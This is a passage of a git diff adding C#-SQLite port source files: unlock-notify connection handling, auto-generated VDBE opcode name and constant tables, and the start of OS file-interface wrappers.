March 3 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** This file contains the implementation of the sqlite3_unlock_notify() + ** API method and its associated functionality. + ** + ** $Id: notify.c,v 1.4 2009/04/07 22:06:57 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + //#include "btreeInt.h" + + /* Omit this entire file if SQLITE_ENABLE_UNLOCK_NOTIFY is not defined. */ +#if SQLITE_ENABLE_UNLOCK_NOTIFY + +/* +** Public interfaces: +** +** sqlite3ConnectionBlocked() +** sqlite3ConnectionUnlocked() +** sqlite3ConnectionClosed() +** sqlite3_unlock_notify() +*/ + +//#define assertMutexHeld() \ +assert( sqlite3_mutex_held(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER)) ) + +/* +** Head of a linked list of all sqlite3 objects created by this process +** for which either sqlite3.pBlockingConnection or sqlite3.pUnlockConnection +** is not NULL. This variable may only accessed while the STATIC_MASTER +** mutex is held. +*/ +static sqlite3 *SQLITE_WSD sqlite3BlockedList = 0; + +#if !NDEBUG +/* +** This function is a complex assert() that verifies the following +** properties of the blocked connections list: +** +** 1) Each entry in the list has a non-NULL value for either +** pUnlockConnection or pBlockingConnection, or both. +** +** 2) All entries in the list that share a common value for +** xUnlockNotify are grouped together. +** +** 3) If the argument db is not NULL, then none of the entries in the +** blocked connections list have pUnlockConnection or pBlockingConnection +** set to db. This is used when closing connection db. +*/ +static void checkListProperties(sqlite3 *db){ +sqlite3 *p; +for(p=sqlite3BlockedList; p; p=p->pNextBlocked){ +int seen = 0; +sqlite3 *p2; + +/* Verify property (1) */ +assert( p->pUnlockConnection || p->pBlockingConnection ); + +/* Verify property (2) */ +for(p2=sqlite3BlockedList; p2!=p; p2=p2->pNextBlocked){ +if( p2->xUnlockNotify==p->xUnlockNotify ) seen = 1; +assert( p2->xUnlockNotify==p->xUnlockNotify || !seen ); +assert( db==0 || p->pUnlockConnection!=db ); +assert( db==0 || p->pBlockingConnection!=db ); +} +} +} +#else +//# define checkListProperties(x) +#endif + +/* +** Remove connection db from the blocked connections list. If connection +** db is not currently a part of the list, this function is a no-op. +*/ +static void removeFromBlockedList(sqlite3 *db){ +sqlite3 **pp; +assertMutexHeld(); +for(pp=&sqlite3BlockedList; *pp; pp = &(*pp)->pNextBlocked){ +if( *pp==db ){ +*pp = (*pp)->pNextBlocked; +break; +} +} +} + +/* +** Add connection db to the blocked connections list. It is assumed +** that it is not already a part of the list. +*/ +static void addToBlockedList(sqlite3 *db){ +sqlite3 **pp; +assertMutexHeld(); +for( +pp=&sqlite3BlockedList; +*pp && (*pp)->xUnlockNotify!=db->xUnlockNotify; +pp=&(*pp)->pNextBlocked +); +db->pNextBlocked = *pp; +*pp = db; +} + +/* +** Obtain the STATIC_MASTER mutex. +*/ +static void enterMutex(){ +sqlite3_mutex_enter(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER)); +checkListProperties(0); +} + +/* +** Release the STATIC_MASTER mutex. +*/ +static void leaveMutex(){ +assertMutexHeld(); +checkListProperties(0); +sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER)); +} + +/* +** Register an unlock-notify callback. +** +** This is called after connection "db" has attempted some operation +** but has received an SQLITE_LOCKED error because another connection +** (call it pOther) in the same process was busy using the same shared +** cache. pOther is found by looking at db->pBlockingConnection. +** +** If there is no blocking connection, the callback is invoked immediately, +** before this routine returns. +** +** If pOther is already blocked on db, then report SQLITE_LOCKED, to indicate +** a deadlock. +** +** Otherwise, make arrangements to invoke xNotify when pOther drops +** its locks. +** +** Each call to this routine overrides any prior callbacks registered +** on the same "db". If xNotify==0 then any prior callbacks are immediately +** cancelled. +*/ +int sqlite3_unlock_notify( +sqlite3 *db, +void (*xNotify)(void **, int), +void *pArg +){ +int rc = SQLITE_OK; + +sqlite3_mutex_enter(db->mutex); +enterMutex(); + +if( xNotify==0 ){ +removeFromBlockedList(db); +db->pUnlockConnection = 0; +db->xUnlockNotify = 0; +db->pUnlockArg = 0; +}else if( 0==db->pBlockingConnection ){ +/* The blocking transaction has been concluded. Or there never was a +** blocking transaction. In either case, invoke the notify callback +** immediately. +*/ +xNotify(&pArg, 1); +}else{ +sqlite3 *p; + +for(p=db->pBlockingConnection; p && p!=db; p=p->pUnlockConnection){} +if( p ){ +rc = SQLITE_LOCKED; /* Deadlock detected. */ +}else{ +db->pUnlockConnection = db->pBlockingConnection; +db->xUnlockNotify = xNotify; +db->pUnlockArg = pArg; +removeFromBlockedList(db); +addToBlockedList(db); +} +} + +leaveMutex(); +assert( !db->mallocFailed ); +sqlite3Error(db, rc, (rc?"database is deadlocked":0)); +sqlite3_mutex_leave(db->mutex); +return rc; +} + +/* +** This function is called while stepping or preparing a statement +** associated with connection db. The operation will return SQLITE_LOCKED +** to the user because it requires a lock that will not be available +** until connection pBlocker concludes its current transaction. +*/ +void sqlite3ConnectionBlocked(sqlite3 *db, sqlite3 *pBlocker){ +enterMutex(); +if( db->pBlockingConnection==0 && db->pUnlockConnection==0 ){ +addToBlockedList(db); +} +db->pBlockingConnection = pBlocker; +leaveMutex(); +} + +/* +** This function is called when +** the transaction opened by database db has just finished. Locks held +** by database connection db have been released. +** +** This function loops through each entry in the blocked connections +** list and does the following: +** +** 1) If the sqlite3.pBlockingConnection member of a list entry is +** set to db, then set pBlockingConnection=0. +** +** 2) If the sqlite3.pUnlockConnection member of a list entry is +** set to db, then invoke the configured unlock-notify callback and +** set pUnlockConnection=0. +** +** 3) If the two steps above mean that pBlockingConnection==0 and +** pUnlockConnection==0, remove the entry from the blocked connections +** list. +*/ +void sqlite3ConnectionUnlocked(sqlite3 *db){ +void (*xUnlockNotify)(void **, int) = 0; /* Unlock-notify cb to invoke */ +int nArg = 0; /* Number of entries in aArg[] */ +sqlite3 **pp; /* Iterator variable */ +void **aArg; /* Arguments to the unlock callback */ +void **aDyn = 0; /* Dynamically allocated space for aArg[] */ +void *aStatic[16]; /* Starter space for aArg[]. No malloc required */ + +aArg = aStatic; +enterMutex(); /* Enter STATIC_MASTER mutex */ + +/* This loop runs once for each entry in the blocked-connections list. */ +for(pp=&sqlite3BlockedList; *pp; /* no-op */ ){ +sqlite3 *p = *pp; + +/* Step 1. */ +if( p->pBlockingConnection==db ){ +p->pBlockingConnection = 0; +} + +/* Step 2. */ +if( p->pUnlockConnection==db ){ +assert( p->xUnlockNotify ); +if( p->xUnlockNotify!=xUnlockNotify && nArg!=0 ){ +xUnlockNotify(aArg, nArg); +nArg = 0; +} + +sqlite3BeginBenignMalloc(); +assert( aArg==aDyn || (aDyn==0 && aArg==aStatic) ); +assert( nArg<=(int)ArraySize(aStatic) || aArg==aDyn ); +if( (!aDyn && nArg==(int)ArraySize(aStatic)) +|| (aDyn && nArg==(int)(sqlite3DbMallocSize(db, aDyn)/sizeof(void*))) +){ +/* The aArg[] array needs to grow. */ +void **pNew = (void **)sqlite3Malloc(nArg*sizeof(void *)*2); +if( pNew ){ +memcpy(pNew, aArg, nArg*sizeof(void *)); +//sqlite3_free(aDyn); +aDyn = aArg = pNew; +}else{ +/* This occurs when the array of context pointers that need to +** be passed to the unlock-notify callback is larger than the +** aStatic[] array allocated on the stack and the attempt to +** allocate a larger array from the heap has failed. +** +** This is a difficult situation to handle. Returning an error +** code to the caller is insufficient, as even if an error code +** is returned the transaction on connection db will still be +** closed and the unlock-notify callbacks on blocked connections +** will go unissued. This might cause the application to wait +** indefinitely for an unlock-notify callback that will never +** arrive. +** +** Instead, invoke the unlock-notify callback with the context +** array already accumulated. We can then clear the array and +** begin accumulating any further context pointers without +** requiring any dynamic allocation. This is sub-optimal because +** it means that instead of one callback with a large array of +** context pointers the application will receive two or more +** callbacks with smaller arrays of context pointers, which will +** reduce the applications ability to prioritize multiple +** connections. But it is the best that can be done under the +** circumstances. +*/ +xUnlockNotify(aArg, nArg); +nArg = 0; +} +} +sqlite3EndBenignMalloc(); + +aArg[nArg++] = p->pUnlockArg; +xUnlockNotify = p->xUnlockNotify; +p->pUnlockConnection = 0; +p->xUnlockNotify = 0; +p->pUnlockArg = 0; +} + +/* Step 3. */ +if( p->pBlockingConnection==0 && p->pUnlockConnection==0 ){ +/* Remove connection p from the blocked connections list. */ +*pp = p->pNextBlocked; +p->pNextBlocked = 0; +}else{ +pp = &p->pNextBlocked; +} +} + +if( nArg!=0 ){ +xUnlockNotify(aArg, nArg); +} +//sqlite3_free(aDyn); +leaveMutex(); /* Leave STATIC_MASTER mutex */ +} + +/* +** This is called when the database connection passed as an argument is +** being closed. The connection is removed from the blocked list. +*/ +void sqlite3ConnectionClosed(sqlite3 *db){ +sqlite3ConnectionUnlocked(db); +enterMutex(); +removeFromBlockedList(db); +checkListProperties(db); +leaveMutex(); +} +#endif + } +} diff --git a/SQLite/src/opcodes_c.cs b/SQLite/src/opcodes_c.cs new file mode 100644 index 0000000..47c78f0 --- /dev/null +++ b/SQLite/src/opcodes_c.cs @@ -0,0 +1,172 @@ + /* + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** Repository path : $HeadURL: https://sqlitecs.googlecode.com/svn/trunk/C%23SQLite/src/opcodes_c.cs $ + ** Revision : $Revision$ + ** Last Change Date: $LastChangedDate: 2009-08-04 13:34:52 -0700 (Tue, 04 Aug 2009) $ + ** Last Changed By : $LastChangedBy: noah.hart $ + ************************************************************************* + */ +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* Automatically generated. Do not edit */ + /* See the mkopcodec.awk script for details. */ +#if !SQLITE_OMIT_EXPLAIN || !NDEBUG || VDBE_PROFILE || SQLITE_DEBUG + static string sqlite3OpcodeName( int i ) + { + string[] azName = { "?", +/* 1 */ "VNext", +/* 2 */ "Affinity", +/* 3 */ "Column", +/* 4 */ "SetCookie", +/* 5 */ "Seek", +/* 6 */ "Sequence", +/* 7 */ "Savepoint", +/* 8 */ "RowKey", +/* 9 */ "SCopy", +/* 10 */ "OpenWrite", +/* 11 */ "If", +/* 12 */ "CollSeq", +/* 13 */ "OpenRead", +/* 14 */ "Expire", +/* 15 */ "AutoCommit", +/* 16 */ "Pagecount", +/* 17 */ "IntegrityCk", +/* 18 */ "Sort", +/* 19 */ "Not", +/* 20 */ "Copy", +/* 21 */ "Trace", +/* 22 */ "Function", +/* 23 */ "IfNeg", +/* 24 */ "Noop", +/* 25 */ "Return", +/* 26 */ "NewRowid", +/* 27 */ "Variable", +/* 28 */ "String", +/* 29 */ "RealAffinity", +/* 30 */ "VRename", +/* 31 */ "ParseSchema", +/* 32 */ "VOpen", +/* 33 */ "Close", +/* 34 */ "CreateIndex", +/* 35 */ "IsUnique", +/* 36 */ "NotFound", +/* 37 */ "Int64", +/* 38 */ "MustBeInt", +/* 39 */ "Halt", +/* 40 */ "Rowid", +/* 41 */ "IdxLT", +/* 42 */ "AddImm", +/* 43 */ "Statement", +/* 44 */ "RowData", +/* 45 */ "MemMax", +/* 46 */ "NotExists", +/* 47 */ "Gosub", +/* 48 */ "Integer", +/* 49 */ "Prev", +/* 50 */ "RowSetRead", +/* 51 */ "RowSetAdd", +/* 52 */ "VColumn", +/* 53 */ "CreateTable", +/* 54 */ "Last", +/* 55 */ "SeekLe", +/* 56 */ "IncrVacuum", +/* 57 */ "IdxRowid", +/* 58 */ "ResetCount", +/* 59 */ "ContextPush", +/* 60 */ "Yield", +/* 61 */ "DropTrigger", +/* 62 */ "DropIndex", +/* 63 */ "IdxGE", +/* 64 */ "IdxDelete", +/* 65 */ "Vacuum", +/* 66 */ "Or", +/* 67 */ "And", +/* 68 */ "IfNot", +/* 69 */ "DropTable", +/* 70 */ "SeekLt", +/* 71 */ "IsNull", +/* 72 */ "NotNull", +/* 73 */ "Ne", +/* 74 */ "Eq", +/* 75 */ "Gt", +/* 76 */ "Le", +/* 77 */ "Lt", +/* 78 */ "Ge", +/* 79 */ "MakeRecord", +/* 80 */ "BitAnd", +/* 81 */ "BitOr", +/* 82 */ "ShiftLeft", +/* 83 */ "ShiftRight", +/* 84 */ "Add", +/* 85 */ "Subtract", +/* 86 */ "Multiply", +/* 87 */ "Divide", +/* 88 */ "Remainder", +/* 89 */ "Concat", +/* 90 */ "ResultRow", +/* 91 */ "Delete", +/* 92 */ "AggFinal", +/* 93 */ "BitNot", +/* 94 */ "String8", +/* 95 */ "Compare", +/* 96 */ "Goto", +/* 97 */ "TableLock", +/* 98 */ "Clear", +/* 99 */ "VerifyCookie", +/* 100 */ "AggStep", +/* 101 */ "SetNumColumns", +/* 102 */ "Transaction", +/* 103 */ "VFilter", +/* 104 */ "VDestroy", +/* 105 */ "ContextPop", +/* 106 */ "Next", +/* 107 */ "Count", +/* 108 */ "IdxInsert", +/* 109 */ "SeekGe", +/* 110 */ "Insert", +/* 111 */ "Destroy", +/* 112 */ "ReadCookie", +/* 113 */ "RowSetTest", +/* 114 */ "LoadAnalysis", +/* 115 */ "Explain", +/* 116 */ "HaltIfNull", +/* 117 */ "OpenPseudo", +/* 118 */ "OpenEphemeral", +/* 119 */ "Null", +/* 120 */ "Move", +/* 121 */ "Blob", +/* 122 */ "Rewind", +/* 123 */ "SeekGt", +/* 124 */ "VBegin", +/* 125 */ "VUpdate", +/* 126 */ "IfZero", +/* 127 */ "VCreate", +/* 128 */ "Found", +/* 129 */ "IfPos", +/* 130 */ "Real", +/* 131 */ "NullRow", +/* 132 */ "Jump", +/* 133 */ "Permutation", +/* 134 */ "NotUsed_134", +/* 135 */ "NotUsed_135", +/* 136 */ "NotUsed_136", +/* 137 */ "NotUsed_137", +/* 138 */ "NotUsed_138", +/* 139 */ "NotUsed_139", +/* 140 */ "NotUsed_140", +/* 141 */ "ToText", +/* 142 */ "ToBlob", +/* 143 */ "ToNumeric", +/* 144 */ "ToInt", +/* 145 */ "ToReal", +}; + return azName[i]; + } +#endif + } +} diff --git a/SQLite/src/opcodes_h.cs b/SQLite/src/opcodes_h.cs new file mode 100644 index 0000000..e14a389 --- /dev/null +++ b/SQLite/src/opcodes_h.cs @@ -0,0 +1,346 @@ +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* Automatically generated. Do not edit */ + /* See the mkopcodeh.awk script for details */ + /* Automatically generated. Do not edit */ + /* See the mkopcodeh.awk script for details */ + //#define OP_VNext 1 + //#define OP_Affinity 2 + //#define OP_Column 3 + //#define OP_SetCookie 4 + //#define OP_Seek 5 + //#define OP_Real 130 /* same as TK_FLOAT */ + //#define OP_Sequence 6 + //#define OP_Savepoint 7 + //#define OP_Ge 78 /* same as TK_GE */ + //#define OP_RowKey 8 + //#define OP_SCopy 9 + //#define OP_Eq 74 /* same as TK_EQ */ + //#define OP_OpenWrite 10 + //#define OP_NotNull 72 /* same as TK_NOTNULL */ + //#define OP_If 11 + //#define OP_ToInt 144 /* same as TK_TO_INT */ + //#define OP_String8 94 /* same as TK_STRING */ + //#define OP_CollSeq 12 + //#define OP_OpenRead 13 + //#define OP_Expire 14 + //#define OP_AutoCommit 15 + //#define OP_Gt 75 /* same as TK_GT */ + //#define OP_Pagecount 16 + //#define OP_IntegrityCk 17 + //#define OP_Sort 18 + //#define OP_Copy 20 + //#define OP_Trace 21 + //#define OP_Function 22 + //#define OP_IfNeg 23 + //#define OP_And 67 /* same as TK_AND */ + //#define OP_Subtract 85 /* same as TK_MINUS */ + //#define OP_Noop 24 + //#define OP_Return 25 + //#define OP_Remainder 88 /* same as TK_REM */ + //#define OP_NewRowid 26 + //#define OP_Multiply 86 /* same as TK_STAR */ + //#define OP_Variable 27 + //#define OP_String 28 + //#define OP_RealAffinity 29 + //#define OP_VRename 30 + //#define OP_ParseSchema 31 + //#define OP_VOpen 32 + //#define OP_Close 33 + //#define OP_CreateIndex 34 + //#define OP_IsUnique 35 + //#define OP_NotFound 36 + //#define OP_Int64 37 + //#define OP_MustBeInt 38 + //#define OP_Halt 39 + //#define OP_Rowid 40 + //#define OP_IdxLT 41 + //#define OP_AddImm 42 + //#define OP_Statement 43 + //#define OP_RowData 44 + //#define OP_MemMax 45 + //#define OP_Or 66 /* same as TK_OR */ + //#define OP_NotExists 46 + //#define OP_Gosub 47 + //#define OP_Divide 87 /* same as TK_SLASH */ + //#define OP_Integer 48 + //#define OP_ToNumeric 143 /* same as TK_TO_NUMERIC*/ + //#define OP_Prev 49 + //#define OP_RowSetRead 50 + //#define OP_Concat 89 /* same as TK_CONCAT */ + //#define OP_RowSetAdd 51 + //#define OP_BitAnd 80 /* same as TK_BITAND */ + //#define OP_VColumn 52 + //#define OP_CreateTable 53 + //#define OP_Last 54 + //#define OP_SeekLe 55 + //#define OP_IsNull 71 /* same as TK_ISNULL */ + //#define OP_IncrVacuum 56 + //#define OP_IdxRowid 57 + //#define OP_ShiftRight 83 /* same as TK_RSHIFT */ + //#define OP_ResetCount 58 + //#define OP_ContextPush 59 + //#define OP_Yield 60 + //#define OP_DropTrigger 61 + //#define OP_DropIndex 62 + //#define OP_IdxGE 63 + //#define OP_IdxDelete 64 + //#define OP_Vacuum 65 + //#define OP_IfNot 68 + //#define OP_DropTable 69 + //#define OP_SeekLt 70 + //#define OP_MakeRecord 79 + //#define OP_ToBlob 142 /* same as TK_TO_BLOB */ + //#define OP_ResultRow 90 + //#define OP_Delete 91 + //#define OP_AggFinal 92 + //#define OP_Compare 95 + //#define OP_ShiftLeft 82 /* same as TK_LSHIFT */ + //#define OP_Goto 96 + //#define OP_TableLock 97 + //#define OP_Clear 98 + //#define OP_Le 76 /* same as TK_LE */ + //#define OP_VerifyCookie 99 + //#define OP_AggStep 100 + //#define OP_ToText 141 /* same as TK_TO_TEXT */ + //#define OP_Not 19 /* same as TK_NOT */ + //#define OP_ToReal 145 /* same as TK_TO_REAL */ + //#define OP_SetNumColumns 101 + //#define OP_Transaction 102 + //#define OP_VFilter 103 + //#define OP_Ne 73 /* same as TK_NE */ + //#define OP_VDestroy 104 + //#define OP_ContextPop 105 + //#define OP_BitOr 81 /* same as TK_BITOR */ + //#define OP_Next 106 + //#define OP_Count 107 + //#define OP_IdxInsert 108 + //#define OP_Lt 77 /* same as TK_LT */ + //#define OP_SeekGe 109 + //#define OP_Insert 110 + //#define OP_Destroy 111 + //#define OP_ReadCookie 112 + //#define OP_RowSetTest 113 + //#define OP_LoadAnalysis 114 + //#define OP_Explain 115 + //#define OP_HaltIfNull 116 + //#define OP_OpenPseudo 117 + //#define OP_OpenEphemeral 118 + //#define OP_Null 119 + //#define OP_Move 120 + //#define OP_Blob 121 + //#define OP_Add 84 /* same as TK_PLUS */ + //#define OP_Rewind 122 + //#define OP_SeekGt 123 + //#define OP_VBegin 124 + //#define OP_VUpdate 125 + //#define OP_IfZero 126 + //#define OP_BitNot 93 /* same as TK_BITNOT */ + //#define OP_VCreate 127 + //#define OP_Found 128 + //#define OP_IfPos 129 + //#define OP_NullRow 131 + //#define OP_Jump 132 + //#define OP_Permutation 133 + + const int OP_VNext = 1; + const int OP_Affinity = 2; + const int OP_Column = 3; + const int OP_SetCookie = 4; + const int OP_Seek = 5; + const int OP_Real = 130; /* same as TK_FLOAT=*/ + const int OP_Sequence = 6; + const int OP_Savepoint = 7; + const int OP_Ge = 78; /* same as TK_GE= */ + const int OP_RowKey = 8; + const int OP_SCopy = 9; + const int OP_Eq = 74; /* same as TK_EQ= */ + const int OP_OpenWrite = 10; + const int OP_NotNull = 72; /* same as TK_NOTNULL */ + const int OP_If = 11; + const int OP_ToInt = 144; /* same as TK_TO_INT */ + const int OP_String8 = 94; /* same as TK_STRING */ + const int OP_CollSeq = 12; + const int OP_OpenRead = 13; + const int OP_Expire = 14; + const int OP_AutoCommit = 15; + const int OP_Gt = 75; /* same as TK_GT= */ + const int OP_Pagecount = 16; + const int OP_IntegrityCk = 17; + const int OP_Sort = 18; + const int OP_Copy = 20; + const int OP_Trace = 21; + const int OP_Function = 22; + const int OP_IfNeg = 23; + const int OP_And = 67;/* same as TK_AND= */ + const int OP_Subtract = 85; /* same as TK_MINUS=*/ + const int OP_Noop = 24; + const int OP_Return = 25; + const int OP_Remainder = 88; /* same as TK_REM= */ + const int OP_NewRowid = 26; + const int OP_Multiply = 86; /* same as TK_STAR= */ + const int OP_Variable = 27; + const int OP_String = 28; + const int OP_RealAffinity = 29; + const int OP_VRename = 30; + const int OP_ParseSchema = 31; + const int OP_VOpen = 32; + const int OP_Close = 33; + const int OP_CreateIndex = 34; + const int OP_IsUnique = 35; + const int OP_NotFound = 36; + const int OP_Int64 = 37; + const int OP_MustBeInt = 38; + const int OP_Halt = 39; + const int OP_Rowid = 40; + const int OP_IdxLT = 41; + const int OP_AddImm = 42; + const int OP_Statement = 43; + const int OP_RowData = 44; + const int OP_MemMax = 45; + const int OP_Or = 66; /* same as TK_OR= */ + const int OP_NotExists = 46; + const int OP_Gosub = 47; + const int OP_Divide = 87;/* same as TK_SLASH=*/ + const int OP_Integer = 48; + const int OP_ToNumeric = 143; /* same as TK_TO_NUMERIC*/ + const int OP_Prev = 49; + const int OP_RowSetRead = 50; + const int OP_Concat = 89; /* same as TK_CONCAT */ + const int OP_RowSetAdd = 51; + const int OP_BitAnd = 80; /* same as TK_BITAND */ + const int OP_VColumn = 52; + const int OP_CreateTable = 53; + const int OP_Last = 54; + const int OP_SeekLe = 55; + const int OP_IsNull = 71; /* same as TK_ISNULL */ + const int OP_IncrVacuum = 56; + const int OP_IdxRowid = 57; + const int OP_ShiftRight = 83; /* same as TK_RSHIFT */ + const int OP_ResetCount = 58; + const int OP_ContextPush = 59; + const int OP_Yield = 60; + const int OP_DropTrigger = 61; + const int OP_DropIndex = 62; + const int OP_IdxGE = 63; + const int OP_IdxDelete = 64; + const int OP_Vacuum = 65; + const int OP_IfNot = 68; + const int OP_DropTable = 69; + const int OP_SeekLt = 70; + const int OP_MakeRecord = 79; + const int OP_ToBlob = 142; /* same as TK_TO_BLOB */ + const int OP_ResultRow = 90; + const int OP_Delete = 91; + const int OP_AggFinal = 92; + const int OP_Compare = 95; + const int OP_ShiftLeft = 82; /* same as TK_LSHIFT */ + const int OP_Goto = 96; + const int OP_TableLock = 97; + const int OP_Clear = 98; + const int OP_Le = 76; /* same as TK_LE= */ + const int OP_VerifyCookie = 99; + const int OP_AggStep = 100; + const int OP_ToText = 141; /* same as TK_TO_TEXT */ + const int OP_Not = 19; /* same as TK_NOT= */ + const int OP_ToReal = 145;/* same as TK_TO_REAL */ + const int OP_SetNumColumns = 101; + const int OP_Transaction = 102; + const int OP_VFilter = 103; + const int OP_Ne = 73; /* same as TK_NE= */ + const int OP_VDestroy = 104; + const int OP_ContextPop = 105; + const int OP_BitOr = 81; /* same as TK_BITOR=*/ + const int OP_Next = 106; + const int OP_Count = 107; + const int OP_IdxInsert = 108; + const int OP_Lt = 77; /* same as TK_LT= */ + const int OP_SeekGe = 109; + const int OP_Insert = 110; + const int OP_Destroy = 111; + const int OP_ReadCookie = 112; + const int OP_RowSetTest = 113; + const int OP_LoadAnalysis = 114; + const int OP_Explain = 115; + const int OP_HaltIfNull = 116; + const int OP_OpenPseudo = 117; + const int OP_OpenEphemeral = 118; + const int OP_Null = 119; + const int OP_Move = 120; + const int OP_Blob = 121; + const int OP_Add = 84; /* same as TK_PLUS= */ + const int OP_Rewind = 122; + const int OP_SeekGt = 123; + const int OP_VBegin = 124; + const int OP_VUpdate = 125; + const int OP_IfZero = 126; + const int OP_BitNot = 93;/* same as TK_BITNOT */ + const int OP_VCreate = 127; + const int OP_Found = 128; + const int OP_IfPos = 129; + const int OP_NullRow = 131; + const int OP_Jump = 132; + const int OP_Permutation = 133; + + /* The following opcode values are never used */ + //#define OP_NotUsed_134 134 + //#define OP_NotUsed_135 135 + //#define OP_NotUsed_136 136 + //#define OP_NotUsed_137 137 + //#define OP_NotUsed_138 138 + //#define OP_NotUsed_139 139 + //#define OP_NotUsed_140 140 + + /* The following opcode values are never used */ + const int OP_NotUsed_134 = 134; + const int OP_NotUsed_135 = 135; + const int OP_NotUsed_136 = 136; + const int OP_NotUsed_137 = 137; + const int OP_NotUsed_138 = 138; + const int OP_NotUsed_139 = 139; + const int OP_NotUsed_140 = 140; + + + /* Properties such as "out2" or "jump" that are specified in + ** comments following the "case" for each opcode in the vdbe.c + ** are encoded into bitvectors as follows: + */ + //#define OPFLG_JUMP 0x0001 /* jump: P2 holds jmp target */ + //#define OPFLG_OUT2_PRERELEASE 0x0002 /* out2-prerelease: */ + //#define OPFLG_IN1 0x0004 /* in1: P1 is an input */ + //#define OPFLG_IN2 0x0008 /* in2: P2 is an input */ + //#define OPFLG_IN3 0x0010 /* in3: P3 is an input */ + //#define OPFLG_OUT3 0x0020 /* out3: P3 is an output */ + + const int OPFLG_JUMP = 0x0001; /* jump: P2 holds jmp target */ + const int OPFLG_OUT2_PRERELEASE = 0x0002; /* out2-prerelease: */ + const int OPFLG_IN1 = 0x0004; /* in1: P1 is an input */ + const int OPFLG_IN2 = 0x0008; /* in2: P2 is an input */ + const int OPFLG_IN3 = 0x0010; /* in3: P3 is an input */ + const int OPFLG_OUT3 = 0x0020; /* out3: P3 is an output */ + + public static int[] OPFLG_INITIALIZER = new int[]{ +/* 0 */ 0x00, 0x01, 0x00, 0x00, 0x10, 0x08, 0x02, 0x00, +/* 8 */ 0x00, 0x04, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, +/* 16 */ 0x02, 0x00, 0x01, 0x04, 0x04, 0x00, 0x00, 0x05, +/* 24 */ 0x00, 0x04, 0x02, 0x00, 0x02, 0x04, 0x00, 0x00, +/* 32 */ 0x00, 0x00, 0x02, 0x11, 0x11, 0x02, 0x05, 0x00, +/* 40 */ 0x02, 0x11, 0x04, 0x00, 0x00, 0x0c, 0x11, 0x01, +/* 48 */ 0x02, 0x01, 0x21, 0x08, 0x00, 0x02, 0x01, 0x11, +/* 56 */ 0x01, 0x02, 0x00, 0x00, 0x04, 0x00, 0x00, 0x11, +/* 64 */ 0x00, 0x00, 0x2c, 0x2c, 0x05, 0x00, 0x11, 0x05, +/* 72 */ 0x05, 0x15, 0x15, 0x15, 0x15, 0x15, 0x15, 0x00, +/* 80 */ 0x2c, 0x2c, 0x2c, 0x2c, 0x2c, 0x2c, 0x2c, 0x2c, +/* 88 */ 0x2c, 0x2c, 0x00, 0x00, 0x00, 0x04, 0x02, 0x00, +/* 96 */ 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, +/* 104 */ 0x00, 0x00, 0x01, 0x02, 0x08, 0x11, 0x00, 0x02, +/* 112 */ 0x02, 0x15, 0x00, 0x00, 0x10, 0x00, 0x00, 0x02, +/* 120 */ 0x00, 0x02, 0x01, 0x11, 0x00, 0x00, 0x05, 0x00, +/* 128 */ 0x11, 0x05, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, +/* 136 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x04, 0x04, +/* 144 */ 0x04, 0x04, +}; + } +} diff --git a/SQLite/src/os_c.cs b/SQLite/src/os_c.cs new file mode 100644 index 0000000..99ad756 --- /dev/null +++ b/SQLite/src/os_c.cs @@ -0,0 +1,350 @@ +using System.Diagnostics; +using System.Text; + +using HANDLE = System.IntPtr; +using i64 = System.Int64; +using u32 = System.UInt32; + + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + + /* + ** 2005 November 29 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ****************************************************************************** + ** + ** This file contains OS interface code that is common to all + ** architectures. + ** + ** $Id: os.c,v 1.127 2009/07/27 11:41:21 danielk1977 Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#define _SQLITE_OS_C_ 1 + //#include "sqliteInt.h" + //#undef _SQLITE_OS_C_ + + /* + ** The default SQLite sqlite3_vfs implementations do not allocate + ** memory (actually, os_unix.c allocates a small amount of memory + ** from within OsOpen()), but some third-party implementations may. + ** So we test the effects of a malloc() failing and the sqlite3OsXXX() + ** function returning SQLITE_IOERR_NOMEM using the DO_OS_MALLOC_TEST macro. + ** + ** The following functions are instrumented for malloc() failure + ** testing: + ** + ** sqlite3OsOpen() + ** sqlite3OsRead() + ** sqlite3OsWrite() + ** sqlite3OsSync() + ** sqlite3OsLock() + ** + */ +#if (SQLITE_TEST) && !SQLITE_OS_WIN +//#define DO_OS_MALLOC_TEST(x) if (!x || !sqlite3IsMemJournal(x)) { \ +void *pTstAlloc = sqlite3Malloc(10); \ +if (!pTstAlloc) return SQLITE_IOERR_NOMEM; \ +//sqlite3_free(pTstAlloc); \ +} +#else + //#define DO_OS_MALLOC_TEST(x) + static void DO_OS_MALLOC_TEST( sqlite3_file x ) { } +#endif + + + /* +** The following routines are convenience wrappers around methods +** of the sqlite3_file object. This is mostly just syntactic sugar. All +** of this would be completely automatic if SQLite were coded using +** C++ instead of plain old C. +*/ + static int sqlite3OsClose( sqlite3_file pId ) + { + int rc = SQLITE_OK; + if ( pId.pMethods != null ) + { + rc = pId.pMethods.xClose( pId ); + pId.pMethods = null; + } + return rc; + } + static int sqlite3OsRead( sqlite3_file id, byte[] pBuf, int amt, i64 offset ) + { + DO_OS_MALLOC_TEST( id ); + if ( pBuf == null ) pBuf = new 